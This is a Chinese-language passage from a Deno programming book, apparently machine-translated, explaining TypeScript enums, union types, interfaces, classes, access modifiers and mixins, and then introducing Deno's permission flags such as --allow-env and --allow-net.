Listing 2-7Declaring enums with an auto-assign value

现在您可以看到 TS 如何帮助您编写有意义的代码,并使用更少的关键字。基本上,这里的Direction.Up的值为“0”,Direction.Down的值为“1”,其余的一直向上加 1。

正如您所看到的,TypeScript 会自动为您的常量赋值,所以除非您的逻辑需要,否则对它们强制使用自定义值是没有意义的。

现在,当谈到利用枚举时,您会注意到,由于 TypeScript 的类型系统,您还可以指定枚举类型的变量,这意味着您可以通过引用您的枚举的名称来指定哪些值可以赋给变量;查看清单 2-8 了解如何做到这一点。

enum Direction {
   Up,
   Down,
   Left,
   Right
 }
 let myEnumVar: Direction = Direction.Down

myEnumVar = "hello" // Type '"hello"' is not assignable to type 'Direction'

Listing 2-8Using enums as types

您可以看到,一旦变量被定义为 enum 类型,您就只能将该 enum 的一个值赋给它;否则,您将得到类似前面看到的错误。

使用枚举的最后一个好处是,TypeScript 将足够智能地检查您的IF语句中的某些条件,以确保您没有在不应该的时候使用它们。让我解释一下,但是首先,看看清单 2-9 中的代码。

enum E {
    Foo,
    Bar,
}

function f(x: E) {
    if (x !== E.Foo || x !== E.Bar) {
        // Error! This condition will always return 'true' since the types 'E.Foo' and 'E.Bar' have no overlap.
    }
}

Listing 2-9TS smart checking thanks to the use of enums

您会得到这样的错误,因为 TS 编译器注意到您的IF语句覆盖了变量x值的所有可能选项(这是因为它被定义为 enum,所以它有可用的信息)。

利用任何类型

TypeScript 添加到语言中的主要内容之一是静态类型检查以及几个增强开发人员体验的新类型。到目前为止,我已经展示了如何定义一个特定类型的变量。当你能控制的时候,这是很棒的;当您确切知道将要处理的数据类型时,定义类型会有很大帮助。

这种方法的问题是什么?对于固有的动态语言,你并不总是知道你必须处理的数据类型,数组就是一个例子。默认情况下,JavaScript 允许您定义一个动态大小的数组,您可以在其中添加您需要的任何内容。这是一个非常强大的工具。然而,TypeScript 强迫我们声明我们定义的每个数组的元素类型,那么我们如何混合这两个世界呢?

这就是any型发挥作用的地方。您可以告诉代码期待“任何”类型,而不是强制代码期待一种特定的类型。查看以下代码片段,了解如何使用它:

let myListOfThings: any[] = [1,2, "Three", { four: 4} ]
myListOfThings.forEach( i => console.log(i))

下面是用 Deno 运行它得到的输出:

1
2
Three
{ four: 4 }

这种类型很棒,但是你必须小心使用它,因为如果你滥用它,你就忽略了这种语言的一个好处:静态类型检查。当您想要使用any类型时,两个主要的用例之一是当您混合使用 JavaScript 和 TypeScript 时,因为它允许您利用后者的一些好处,而不必重写整个 JS 代码(或者潜在地,它背后的逻辑)。另一个用例是,在访问数据之前,你真的不知道你将使用什么类型的数据;否则,建议您实际声明该类型,并让 TypeScript 为您检查。

关于可空类型和联合类型的注记

到目前为止,我提到的所有类型都不允许您将null作为有效值赋给它们——当然,这是指除任何类型之外的所有类型;这个可以让你给变量赋值。

那么,如何告诉 TypeScript 让您也给变量赋值 null 呢?(换句话说,如何使它们可为空?)答案是通过使用联合类型。

从本质上讲,联合类型是一种从几个其他类型的联合中创建新类型的方法,因为这里 null 是 TypeScript 的类型,所以您可以将null与任何其他类型连接,从而允许我们所寻找的类型(参见下面的示例片段)。

let myvar:number | null = null  // OK
let var2:string = null //invalid
let var3:string | null = null // OK

前面的代码展示了如何通过使用|字符来实现类型的联合。对于“数字或空值”或“字符串或空值”这样的类型,您也可以将它作为“或”运算符来读取

union 操作符不仅对创建可空类型有用,而且还可以用来允许在变量上分配多个不同的类型;查看清单 2-10 中的示例。

type stringFn = () => string

function print(x: string | stringFn) {
   if(typeof x == "string") return console.log(x)
   console.log(x())
}

Listing 2-10Joining several types into a single variable using the union operator

第一行是为类型声明一个别名,允许我们以后引用它,在函数声明期间,你可以看到我们是如何允许一个字符串作为参数传递或者一个函数返回一个字符串。查看清单 2-11 ,看看当我们尝试传入不同类型的函数时会发生什么。

print("hello world!")

print( () => {
   return "bye bye!"
})

/*
Argument of type '() => number' is not assignable to parameter of type 'string | stringFn'.
 Type '() => number' is not assignable to type 'stringFn'.
   Type 'number' is not assignable to type 'string'.
*/
print( () => {
   return 2
})

/*
Argument of type '(name: string) => string' is not assignable to parameter of type 'string | stringFn'.
 Type '(name: string) => string' is not assignable to type 'stringFn'.
*/
print( (name:string) => {
   return name
})

Listing 2-11Type checking on the print function

如果你返回的不是字符串,或者你有额外的参数,类型定义是严格的,所以它们会失败。

您甚至可以使用 union 操作符来创建一个文字枚举,因此除了使用我在清单 2-7 中展示的语法之外,您还可以这样做:

type validStrings = "hello" | "world" | "it's me"

这意味着您可以将该类型别名赋给一个变量,而该变量只能赋这三个值中的一个。这是一个字面枚举,意味着你可以像那样使用它们,但是你不能像使用正确的枚举那样引用它的成员。

类和接口

有了基本的类型,我们可以进入其他新的构造,这将使我们的开发体验变得轻而易举。在这种情况下,我们将讨论类和接口。

值得注意的是,通过添加我们即将看到的概念,TypeScript 提出了一个更明确、更成熟的面向对象范例版本,vanilla JS 遵循了这一范例。也就是说,没有任何地方写着说你在使用 TS 时也应该遵循它;毕竟,这只是 JavaScript 的另一种风格,因此您也可以利用其固有的函数式编程能力。

接口

与类型类似,接口允许我们定义我喜欢称之为“对象类型”的东西当然,这只是这个概念的一行定义,它忽略了许多其他重要的东西。

也就是说,使用 TypeScript 中的接口,您可以定义对象的形状,而无需实现任何东西,这就是 ts 用来检查和验证赋值的东西。

接口的一个经典用例是定义方法或函数的参数应该具有的结构;你可以在图 2-1 中看到它是如何工作的。

img/501657_1_En_2_Fig1_HTML.jpg

图 2-1

由于定义了接口,自动完成对函数参数的处理

事实上,图 2-1 显示了拥有接口的一个额外的好处:智能感知完全知道你的对象的形状,而不需要实现它们的类(人们会认为,这需要你也实现方法逻辑)。

在处理模块时,无论是内部使用还是公共使用,除了导出相关的数据结构,您还可以导出接口,为开发人员提供有关参数和方法返回类型的形状信息,而不必过度共享可能被修改和篡改的敏感数据结构。

但这并不是接口能做的全部;事实上,这仅仅是个开始。

可选属性

TypeScript 中的接口允许您定义的一个非常有趣的行为是,对象上的一些属性总是需要存在,而其他属性可能是可选的。

这是一个非常 JavaScript 的事情,因为我们从来没有真正关心我们的对象的结构,因为它是完全动态的。事实上,这是这门语言的美妙之处之一,TS 不能真的忽视它,所以相反,它为我们提供了一种方法,让我们给混乱以结构。

现在,当你定义接口时,你知道有些属性可能并不总是存在,你所要做的就是在它们后面加上一个问号,如清单 2-12 所示。

interface IMyProps {
   name: string,
   age: number,
   city?: string
}

Listing 2-12Defining an interface with optional properties

这将告诉 TS 的编译器,每当将一个对象赋给一个声明为IMyProps的变量时,如果city属性丢失,就不会出错。

事实上,您可以将 TS 的可选属性与 ES6 的可选链接(顺便说一句,Deno 已经实现了这一点)混合使用,以编写在预期缺失的属性有时实际上不存在时不会失败的代码。

interface IMyProps  {
   name: string
   age: number
   city?: string

   findCityCoordinates?(): number
}

function sayHello( myProps: IMyProps) {
   console.log(`Hello there ${myProps.name}, you're ${myProps.age} years old and live in ${myProps.city?.toUpperCase()}`)
}

sayHello({
   name: "Fernando",
   age: 37
})

sayHello({
   name: "Fernando",
   age: 37,
   city: "Madrid"
})

Listing 2-13Mixing optional attributes with optional chaining

清单 2-13 中的例子展示了我们如何访问字符串属性city(可选)的方法toUpperCase,由于可选的链接语法,我们不必检查它是否存在。当然,执行的输出并不理想,但是它不会像通常那样抛出错误;查看列表 2-14 。

Hello there Fernando, you're 37 years old and live in undefined
Hello there Fernando, you're 37 years old and live in MADRID

Listing 2-14Output from Listing 2-13 using optional chaining

只读属性

您可以添加到属性中的另一个有趣的定义是,它们是只读的;就像对变量使用const一样,现在只要需要,就可以拥有只读属性。

你所要做的就是在适当的地方使用关键字“readonly”(参见清单 2-15 中的例子)。

interface IPerson {
   readonly name: string,
   age: number
}
let Person: IPerson = { name: "Fernando", age: 37}
Person.name = "Diego" /// Cannot assign to 'name' because it is a read-only property

Listing 2-15Using readonly properties on interfaces

前面的例子向您展示了,如果属性被标记为“readonly”,那么一旦初始化,您就无法真正修改这些属性

函数的接口

它也被称为函数契约。接口不仅允许你定义一个对象的形状,还可以用来定义一个函数需要遵循的契约。

这在处理回调函数时特别有用,您需要确保传递了带有正确参数和正确返回类型的正确函数。

查看清单 2-16 中如何使用函数接口的例子。

interface Greeter {
   (name: string, age: number, city: string): void
}

const greeterFn: Greeter = function(n: string, a: number, city: string) {
   console.log(`Hello there ${n}, you're ${a} years old and live in ${city.toUpperCase()}`)
}

function asyncOp(callback: Greeter) {
   ///do async stuff here...
   callback("Fernando", 37, "Madrid")
}

Listing 2-16Defining an interface for functions

请注意asyncOp函数只能接受一个欢迎函数作为参数;您无法传递不符合接口指定的契约的有效回调。

使用类

自从 ES6 获得批准以来,JavaScript 已经将类的概念融入到语言中,尽管它们并不完全是标准的 OOP 类,包含方法覆盖、私有和公共属性、抽象构造等等。相反,JavaScript 中类的当前状态只允许您将属性和函数分组到一个实体(类)中,您可以在以后实例化它。与其说它是一种真正的处理和使用对象的新方法,不如说它是一种好的旧的原型继承模型的语法糖。

然而,TypeScript 将这一点带入了下一个层次,试图为您提供一个更健壮的模型,用它来实际构建一个面向对象的体系结构。

尽管语法(至少对于基本操作来说)在两种情况下是相同的(当然减去类型定义),正如你在清单 2-17 中看到的。

class Person {

   f_name: string
   l_name: string

   constructor(fn: string, ln: string) {
       this.f_name = fn
       this.l_name = ln
   }

   fullName(): string {
       return this.f_name + " " + this.l_name
   }
}

Listing 2-17Class syntax

for TypeScript

现在,由于有了 TS,我们可以做更多有趣的事情,比如声明私有属性或私有方法、实现接口等等;让我展示给你看。

可见性修改器

像许多基于 OOP 的语言一样,TypeScript 为类属性和方法提供了三种不同的可见性修饰符。让我们在这里快速回顾一下如何实现这些。

私有修饰符

这是一个经典的例子,每个人都要求 JavaScript 提供这个例子,而 ES6 在包含类时没有提供这个例子,因为在这一点上,语言中没有可见性修饰符(当然,这是在当前发布的 JavaScript 版本上,但是下一个版本的提议已经被批准)。

然而,TypeScript 实现了两个版本,一个遵循经典标准,使用了private关键字,另一个遵循 ECMAScript 下一版本中的实现方式,使用了#字符。

由于 Deno 的内部编译器使用的是最新版本的 TypeScript,所以使用这两种语法都没问题(如清单 2-18 所示)。

class Square {
   side: number
   private area: number
   #perimeter: number

   constructor(s: number) {
       this.side = s
       this.area = this.side * this.side
       this.#perimeter = this.side * 4
   }
}

let oSquare = new Square(2)

console.log(oSquare.#perimeter)
console.log(oSquare.area)

Listing 2-18Using both private fields syntax

前面的代码有效;它在 Deno 中编译,但在 Deno 中失败,因为毕竟我试图从类定义之外直接访问这两个私有属性。清单 2-19 中显示了执行该代码所得到的错误。

error: TS18013 [ERROR]: Property '#perimeter' is not accessible outside class 'Square' because it has a private identifier.
console.log(oSquare.#perimeter)
                    ~~~~~~~~~~
    at file:///Users/fernandodoglio/workspace/personal/deno/classes/sample2.ts:17:21

TS2341 [ERROR]: Property 'area' is private and only accessible within class 'Square'.
console.log(oSquare.area)
                    ~~~~
    at file:///Users/fernandodoglio/workspace/personal/deno/classes/sample2.ts:18:21

Found 2 errors.

Listing 2-19Error output from trying to access a private variable

再次重申,私有属性只能从定义它们的类中访问。这当然意味着你不能像清单 2-19 中所示的那样使用实例化的对象直接访问它(注意尽管错误消息不一样,但它们是一样的),而且你也不能使用从其他类继承的类的私有属性或方法。父类不与其子类共享私有属性和方法。

class Geometry {
   private area: number
   private perimeter: number

   constructor() {
       this.area = 0
       this.perimeter = 0
   }
}

class Square extends Geometry{
   side: number

   constructor(s: number) {
       super()
       this.side = s
       this.area = this.side * this.side
       this.perimeter = this.side * 4
   }
}
let oSquare = new Square(2)

Listing 2-20Using private variables inside derived classes

通过使用类似于清单 2-20 中所示的代码,您可以看到清单 2-21 中的错误类型。

error: TS2341 [ERROR]: Property 'area' is private and only accessible within class 'Geometry'.
        this.area = this.side * this.side
             ~~~~
    at file:///Users/fernandodoglio/workspace/personal/deno/classes/sample3.ts:18:14

TS2341 [ERROR]: Property 'perimeter' is private and only accessible within class 'Geometry'.
        this.perimeter = this.side * 4
             ~~~~~~~~~
    at file:///Users/fernandodoglio/workspace/personal/deno/classes/sample3.ts:19:14

Found 2 errors.

Listing 2-21Error while trying to access a private property from a derived class

如果你真的在寻找那种行为,那么你必须使用受保护的属性。

受保护的修饰符

protected 修饰符允许您对外界隐藏属性和方法,就像前面的一样,但是您仍然可以从派生类中访问它们。

因此,如果你想继承一些私有属性,可以考虑使用protected关键字,参见清单 2-22 中的例子。

class Geometry {
   protected area: number
   protected perimeter: number

   constructor() {
       this.area = 0
       this.perimeter = 0
   }
}

class Square extends Geometry{
   side: number

   constructor(s: number) {
       super()
       this.side = s
       this.area = this.side * this.side
       this.perimeter = this.side * 4
   }

   getArea(): number {
       return this.area
   }
}

let oSquare = new Square(2)
console.log(oSquare.getArea())

Listing 2-22Correct use of the protected keyword

前面的代码是有效的,您可以在不同的类之间共享属性,而不需要将它们公开,任何人都可以访问。

定义访问者

您还可以添加一种称为“访问器”的特殊属性,它允许您将属性包装在函数周围,并为赋值和检索操作定义不同的行为。在其他语言中,这些访问器也称为 getters 和 setters。

本质上,这些方法使您能够使用它们,就好像它们是它们正在包装的实际属性一样。您总是可以创建一两个方法来做同样的事情,但是您需要像普通方法一样处理它们。

让我向你展示我所说的清单 2-23 的含义。

class Geometry {
   protected area: number
   protected perimeter: number

   constructor() {
       this.area = 0
       this.perimeter = 0
   }
}

class Square extends Geometry{

   private side: number

   constructor(s: number) {
       super()
       this.side = s
       this.area = this.side * this.side
       this.perimeter = this.side * 4
   }

   set Side(value: number) {
       this.side = value
       this.area = this.side * this.side
   }

   get Side() {
       return this.side
   }

   get Area() {
       return this.area
   }
}

let oSquare = new Square(2)
console.log("Side: ",oSquare.Side,  " - area: ", oSquare.Area)
oSquare.Side = 10
console.log("Side: ", oSquare.Side, " - area: ", oSquare.Area)

Listing 2-23Defining accessors

请注意我是如何围绕side属性的赋值添加额外的逻辑的;现在,我不仅给属性赋值,还更新了area的值。这是使用访问器的主要好处;在围绕动作添加额外逻辑的同时,保持了语法的整洁。这些对于在赋值或副作用上添加验证逻辑非常有用,就像我刚刚展示给你的。对于检索操作,您还可以添加默认行为,例如,如果您的数字属性尚未设置,则返回 0。想象力是极限;只要确保你利用了他们。

静态和抽象类

我想介绍的关于类的最后一点是这两个:修饰符staticabstract。如果你已经熟悉了来自 OOP 世界的这些概念,这两个就是你所期望的,但是以防万一,我们将在这里对它们做一个快速的概述。

静态成员也被称为类成员,这意味着它们不属于它的任何特定实例;相反,它们属于类本身。从本质上说,这意味着您可以通过在类名前面加上关键字来访问它们,而不是通过关键字this。事实上,this关键字不能用于静态成员,因为它引用了实例,而实例并不存在于静态上下文中。这个关键字对于声明类的所有实例都感兴趣的属性和方法很有用(参见清单 2-24 中的例子)。

type Point = {
   x: number,
   y: number
}

class Grid {
   static origin: Point = {x: 0, y: 0};
   calculateDistanceFromOrigin(point: Point) {
       let xDist = (point.x - Grid.origin.x);
       let yDist = (point.y - Grid.origin.y);
       return Math.sqrt(xDist * xDist + yDist * yDist) / this.scale;
   }
   constructor (public scale: number) { }
}

let grid1 = new Grid(1.0);  // 1x scale
let grid2 = new Grid(5.0);  // 5x scale

console.log(grid1.calculateDistanceFromOrigin({x: 10, y: 10}));
console.log(grid2.calculateDistanceFromOrigin({x: 10, y: 10}));

Listing 2-24Using the static keyword

注意这里如何使用 origin 属性;因为所有实例的原点都是相同的,所以每次实例化一个新对象时都创建同一属性的不同实例是没有意义的。因此,相反,通过将其声明为 static,您可以确保该属性只存在一个版本。唯一的问题是你需要使用类名来引用它;仅此而已。

同样的推理也适用于静态方法;它们包含了类的所有实例都感兴趣的逻辑,但是这里的问题是你不能从里面访问关键字this,因为没有实例可以引用。

然而,抽象类是一种完全不同的动物;它们用于定义必须由其他类继承但不能直接实例化的行为。这实际上非常接近于接口的定义,尽管这些接口仅限于定义所有方法的签名,而抽象类实际上提供了可以继承和使用的实现。

那么什么时候创建一个抽象类呢?简单,让我们回到几何/正方形的例子,我写了两个类,一个继承另一个。我们可以重构代码来使用抽象类,如清单 2-25 所示。

abstract class Geometry {
   protected area: number
   protected perimeter: number

   constructor() {
       this.area = 0
       this.perimeter = 0
   }
}

class Square extends Geometry{

   private side: number

   constructor(s: number) {
       super()
       this.side = s
       this.calculateAreaAndPerimeter()
   }

   private calculateAreaAndPerimeter() {
       this.perimeter = this.side * 4
       this.area = this.side * this.side
   }

   set Side(value: number) {
       this.side = value
       this.calculateAreaAndPerimeter()
   }

   get Side() {
       return this.side
   }

   get Area() {
       return this.area
   }
}

Listing 2-25Using the abstract keyword

这种实现无疑表明,如果您在项目中使用它,您不能真正依赖于直接实例化几何图形;相反,你要么依赖 Square 类,要么自己创建并扩展几何图形。

这些都是可选的结构;当然,你可以很容易地依赖类,用默认的可见性修饰符(即 public)做任何事情,但是如果你要利用 TS 提供的所有这些工具,你就要增加额外的安全层,以确保编译器强制你或其他人按照最初的意图使用你的代码。

作为一个关于 TypeScript 的高级主题,我想介绍的最后一件事是 mixins,如果你已经决定一路深入 OOP rabbithole,它可能会派上用场。

类型脚本混合

当涉及到类继承时,TypeScript 强加的限制之一是一次只能扩展一个类。在大多数情况下,这不是一个问题,但是如果您正在处理一个足够复杂的架构,您可能会发现自己受到语言的限制。

让我们看一个例子:假设你需要将两种不同的行为封装到两个不同的抽象类中,CallableActivable

因为我们在这一点上只是虚构的,假设它们都向派生类添加了一个方法,允许您调用或激活该对象(无论这对您意味着什么)。记住,这些是抽象类,因为添加的行为完全独立于派生类。正常的做法应该是类似清单 2-26 中的例子。

abstract class Callable {
   call() {
       console.log("Call!")
   }
}

abstract class Activable {
   active: boolean = false
   activate() {
       this.active = true
       console.log("Activating...")
   }

   deactive() {
       this.active = false
       console.log("Deactivating...")
   }
}

class MyClass extends Callable, Activable{

   constructor() {
       super()
   }
}

Listing 2-26Trying to extend several classes at the same time

当然,就像我之前说的,TypeScript 不允许我们这么做;查看清单 2-27 以查看我们将得到的错误。

error: TS1174 [ERROR]: Classes can only extend a single class.
class MyClass extends Callable, Activable{
                                ~~~~~~~~~
    at file:///Users/fernandodoglio/workspace/personal/deno/classes/sample8.ts:21:33

Listing 2-27Error while trying to extend a class from several parent classes

为了解决这个问题,我们可以做一个简单的(也非常糟糕的)变通方法,就是链接继承。或者换句话说,让Callable延长Activable,让MyClass延长Callable。这肯定会解决我们的小问题,但同时,它会迫使Callable总是延长Activable。这是一个非常糟糕的设计模式,你应该不惜一切代价避免;你想把这两种行为分开是有原因的,所以像那样把它们强迫在一起是没有意义的。

混血儿来救援了!

那么我们能做什么呢?这就是混音发挥作用的地方。现在,mixins 不是 TypeScript 提供的特殊构造;相反,它们更像是一种利用语言的两个不同方面的技术:

  • 声明合并:这是一个你需要注意的非常奇怪和隐含的行为

  • 接口类扩展:这意味着 TS 中的接口可以同时扩展几个,不像类本身

基本上,实现这一点的步骤是

  1. 将父类中的方法签名添加到我们的派生类中。

  2. 迭代父类的方法,对于父类和派生类都有的每个方法,手动将它们链接在一起。

我知道这听起来很复杂,但实际上并不难;你所要记住的是如何实现这两点,你就大功告成了。

为了理解发生了什么,让我们先从第二点开始:

TypeScript 的官方文档 5 站点已经提供了该功能供我们使用,我们就不在这里真的尝试多此一举了;该功能的代码见清单 2-28 。

function applyMixins(derivedCtor: any, baseCtors: any[]) {
   baseCtors.forEach(baseCtor => {
       Object.getOwnPropertyNames(baseCtor.prototype).forEach(name => {
           let descriptor = Object.getOwnPropertyDescriptor(baseCtor.prototype, name)
           Object.defineProperty(derivedCtor.prototype, name, <PropertyDescriptor & ThisType<any>>descriptor);
       });
   });
}

Listing 2-28Function to join two or more class declarations

前面的函数只是遍历父类,对于每个父类,遍历其属性列表并将这些属性定义到派生类中。本质上,我们手动将所有方法和属性从父节点链接到子节点。

An interesting side note

注意当我们必须处理类的内部工作时,我们实际上是直接引用原型链。这是一个明显的迹象,表明 JavaScript 的新类模型,就像我之前提到的,比其他任何东西都更有语法吸引力。

这样一来,如果我们试图使用它,我们就会遇到清单 2-29 中所示的问题;这是因为尽管我们已经完成了我们的工作,并且我们已经将缺少的方法添加到了子类中,但是我们仍然在处理 TypeScript,它主动检查我们对象的形状以确保我们调用了正确的方法,尽管我们添加了方法,但是我们并没有真正改变MyClass形状(也就是说,我们并没有真正声明正确的关系)。

error: TS2339 [ERROR]: Property 'call' does not exist on type 'MyClass'.
o.call()
  ~~~~
    at file:///Users/fernandodoglio/workspace/personal/deno/classes/sample9.ts:41:3

TS2339 [ERROR]: Property 'activate' does not exist on type 'MyClass'.
o.activate()
  ~~~~~~~~
    at file:///Users/fernandodoglio/workspace/personal/deno/classes/sample9.ts:42:3

Found 2 errors.

Listing 2-29Methods haven’t been added to the shape of MyClass

这就是声明合并和接口类扩展的地方。

abstract class Callable {
   call() {
       console.log("Call!")
   }
}

abstract class Activable {
   active: boolean = false

   activate() {
       this.active = true
       console.log("Activating...")
   }

   deactive() {
       this.active = false
       console.log("Deactivating...")
   }
}

class MyClass {

   constructor() {
   }
}
interface MyClass extends Callable, Activable {}

Listing 2-30Adding declaration merging to complete the mixin

就是这样!清单 2-30 中的代码是所有奇迹发生的地方。不过我先解释一下,因为我自己也是试了几次才明白的。

  1. MyClass定义现在只是一个单一的类定义,并没有真正扩展任何东西。

  2. 我添加了一个新的接口定义,其名称与我们正在创建的类的名称完全相同。这是至关重要的,因为这个接口扩展了两个抽象类,从而将它们的方法定义合并到一个构造(接口)中,同时,这个构造也合并到类定义中,因为它们具有相同的名称(即声明合并, 6 意味着接口可以合并到类和其他构造中,如果它们具有相同的名称)。

现在,MyClass 的定义有了我们需要的方法签名和正确的形状;因此,我们现在可以自由地在我们的类中使用applyMixins函数,并适当地调用新添加的方法,如清单 2-31 所示。

applyMixins(MyClass, [Callable, Activable])

let o = new MyClass()

o.call()
o.activate()

Listing 2-31Calling the applyMixins function to join the classes into one

这段代码将产生我们预期的输出。记住,现在你已经经历了理解 mixins 如何工作的过程,我已经给了你一个完全可重复的公式,你可以在你所有的类中使用。只需复制并粘贴函数,并记住正确声明接口就可以了!

结论

这就是我在本书中停止谈论 TypeScript 的地方。为了继续学习 Deno,我已经介绍了您需要了解的所有内容。如果您喜欢 TypeScript 并想了解更多,我鼓励您查看他们的官方文档。毕竟,这种语言有一些方面我没有提到,不是因为它们真的没有用,而是因为这一章只是对这种语言的介绍,而不是完整的指南。

了解了 TS 的类型和 OOP 模型是如何工作的,你就可以继续阅读,而不用担心理解不了我将要讲的内容。

下一章将介绍 Deno 上的安全性是如何工作的,以及为什么要花这么多精力让开发人员担心这个问题。下一页见!

Footnotes 1

https://webpack.js.org/

  2

https://gulpjs.com/

  3

https://gruntjs.com/

  4

https://github.com/facebook/create-react-app

  5

www.typescriptlang.org/docs/handbook/mixins.html

  6

www.typescriptlang.org/docs/handbook/declaration-merging.html

 

三、过着安全的生活

现在是时候谈谈 Deno 引入的一个新功能了,Node.js 从未试图解决这个问题,它本来可以防止 npm 遇到的一些主要问题:安全性。

尽管这些问题并不多,但我们已经看到 npm 在过去几年中出现了一些安全问题,其中大多数都与这样一个事实有关,即任何使用节点运行时执行的代码都自动拥有与执行脚本的用户相同的安全权限。

在这一章中,我们将看到 Deno 如何试图通过强制用户指定添加哪些权限来解决这个问题。

加强安全性

Deno 没有让操作系统来负责正在执行的脚本的安全性,而是强迫用户直接指定他们希望自己的脚本拥有哪些权限。

这不是新的做法;事实上,如果你有一部手机,你可能会在第一次安装或执行一个新的应用时看到一个警告,要求你允许访问你的联系人或相机或系统的其他部分。这样做的目的是为了让你,作为一个用户,确切地知道应用正在试图做什么,这让你决定你是否希望它访问它。

这里 Deno 做的完全一样,强行要求你允许(或者拒绝)访问不同的特性(比如从磁盘读取或者访问网络接口)。

目前,您可以允许或拒绝 Deno 脚本访问七个子系统,从允许它们从磁盘读取数据或允许访问网络接口以发送传出请求到其他更复杂的功能,如获得高分辨率的时间测量。

作为一名后端开发人员,我想我已经听到你们中的一些人在问:“等等,我真的需要记住允许我的后端服务访问网络接口吗?这时候那不是基本的吗?”

老实说,是也不是。诚然,如果您像使用 Node 一样使用 Deno,开发后端服务将是您工作的一大部分,但您也可能将 Deno 用于其他任务,这就是 Ryan 及其团队决定选择安全性而不是开发人员舒适性的原因。

不要误解我,我不是用不好的方式说的。对我来说,这个代价很小;你所要做的,作为一个微服务的开发者(这里举个例子),就是记得在你的脚本的启动行添加某个标志。但是,作为回报,您完全知道您添加了该权限,因为您需要该访问权限。无论是谁在其他地方执行相同的服务,都会看到这个标志,并自动知道它需要网络访问。

现在,举一个同样的例子,但是想想其他人可能已经发布的简单自动化脚本——可能是 Grunt 1 或 webpack 2 会做的事情。但是现在您注意到,为了执行它们,您还需要为它们提供对您的网络接口的访问;那不是会在你脑海中升起一面旗帜吗?如果它们是专门在本地磁盘上工作的工具,为什么它们需要这种访问呢?这正是 Deno 试图让您自问的问题类型,以避免可以轻松避免的安全问题。请将这些标志视为安全的类型系统。就像 TypeScript 能够简单地通过强制您始终使用正确的类型来防止许多错误一样,这些标志将有助于在将来避免许多安全问题。

它们是最终的安全解决方案吗?当然不是,就像 TypeScript 不是消除 bug 的终极工具一样。但是它们都有助于避免可能导致大问题的简单错误。

安全标志

现在是时候仔细看看这些有问题的标志,了解它们各自的作用,以及何时应该或不应该使用它们。虽然,就像我之前说的,有七个子系统你可以限制或允许访问,但事实上,有八个标志供你使用,我马上会解释为什么。

“一切都允许”标志

我要介绍的第一个是我提到的额外旗帜。这个标志的目的不是允许访问一个特定的子系统,而是基本上禁用所有的安全措施。

Note

正如你可能猜到的那样,这不是你应该使用的标志,除非你确切地知道你想要做什么。将标志添加到脚本的执行行并不是一项昂贵或耗时的任务,所以在决定使用这种方法之前要考虑权衡。

这样一来,这是目前唯一一个具有缩写形式的标志,所以您可以使用-A形式,或者更明确地说,使用--allow-all形式(注意第一个形式只有一个破折号字符,而第二个有两个)。查看以下代码片段,以准确理解如何在 CLI 中使用该标志:

$ deno run --allow-all your-script.ts

这将有效地禁用运行时提供的每一点安全性,或者回到我的 TypeScript 类比,这就像到处使用any类型。只要确保如果你正在使用它,你有一个非常好的理由。

访问环境变量

使用 Deno 访问环境变量相对简单;您所要做的就是使用 Deno 名称空间并访问 env 属性(查看下面的示例以了解如何操作)。

console.log(Deno.env.get("HOME")) //should print your HOME directory path

这里的问题是,几乎任何有权访问系统的人都可以设置环境变量,并且那里存储了大量可能被误用的信息。例如,AWS CLI 工具期望几个环境变量指向包含敏感数据的文件夹,例如AWS_SHARED_CREDENTIALS_FILE,它应该指示您的秘密 AWS 凭证存储在哪里。现在,想想攻击者通过添加一点代码来访问这些变量并读取文件(或它们包含的数据)将能够做些什么。这绝对是你不想让其他人知道的信息,除非他们不得不知道,这就是为什么 Deno 限制对它的访问。

回到我们的例子,如果您将前面的代码片段复制到一个文件中,并尝试运行它,您会得到下面的错误消息:

error: Uncaught PermissionDenied: access to environment variables, run again with the --allow-env flag

为了能够访问我们系统的这个特定部分,我们需要--allow-env标志。因此,再次获取您的文件并如下执行它:

$ deno run --allow-env script.ts

这个标志将允许你的脚本读取写入环境变量,所以确保你给你信任的代码这种访问。

高分辨率时间测量

高分辨率时间测量实际上可以用于几种类型的攻击,尤其是那些为了获得有关安全目标的信息而处理密码术的攻击。

但同时,在调试甚至试图优化代码时,它是一个很好的工具,尤其是在性能是一个大问题的关键系统中。这就是为什么你需要考虑这个标志,特别是因为它的效果和其他的不完全一样;让我解释一下。

对于其他标志,如果不允许某个特定的特性,就会得到一个 UnheldException,执行结束。这是一个非常明显的信号,表明你要么需要给你的脚本添加权限,要么你正在执行的脚本正在做一些你没有意识到的事情。

然而,使用高分辨率时间,您不会得到这种警告。事实上,你使用的方法仍然有效;只缺少高分辨率部分。让我们看一下清单 3-1 中的例子来理解发生了什么。

const start = performance.now()

await Deno.readFile("./listing35.ts")
const end = performance.now()

console.log("Reading this file took: ", end - start, " ms")

Listing 3-1Calculating the time it takes to perform an action

现在,如果在没有合适的高分辨率标志的情况下执行清单 3-1 ,您将得到类似于"Reading this file took: 10 ms";的结果,但是,如果您添加了--allow-hrtime标志,结果将变为"Reading this file took: 10.551857 ms".

区别是相当大的,只有当你需要高层次的细节;否则,您可以使用默认行为。

允许访问网络接口

这是一个大问题,主要是因为访问网络接口既是一个经常需要的功能,也是一个非常开放的安全漏洞。有了发送请求的权限,恶意脚本就可以在您毫不知情的情况下发送信息,而且,如果您不能发送和接收 HTTP 请求,您能创建什么样的微服务呢?

别担心,有一种方法可以解决这个难题:允许列表。

到目前为止,我给你们展示的标志都是直接布尔标志;你用它们来允许或不允许某事。然而,一些仍然待定的标志(包括这个)也允许您提供一个列表作为 allow 标志的一部分。该特性为您允许特定特性的元素创建一个白名单,任何超出白名单的元素都会被自动拒绝。

当然,您可以在没有列表的情况下使用这些标志,但是考虑到其中一些标志是多么基本的资源,您很可能会发现自己几乎总是不得不允许使用它们。

有问题的标志是--allow-net,您可以给它分配一个逗号分隔的域列表,如下所示:

$ deno run --allow-net=github.com,gitlab.com myscript.ts

如果您要从第一章的清单 1-5 中获取代码,并使用之前的代码行(以及--allow-read--allow-env)执行它,您将获得图 3-1 的输出。

img/501657_1_En_3_Fig1_HTML.jpg

图 3-1

使用向非白名单域发送信息的脚本时出错

如果没有为标志创建白名单,执行脚本可能会以看似正常的执行结束,但我们都知道这句话实际上有多正确,所以请记住,如果可能的话,请始终将您的域列入白名单。

允许使用插件

虽然是一个实验性的功能,插件允许用户使用 Rust 扩展 Deno 的接口。现在,因为这还不是一个完整的特性,界面一直在变化,这也是为什么没有很多文档可用的原因。插件现在绝对是一个非常高级的话题,而且只对那些对实验性特性感兴趣的开发者有意义。

然而,如果,万一,你是那些试图玩插件的开发者之一,你将需要一个特殊的标志:--allow-plugin

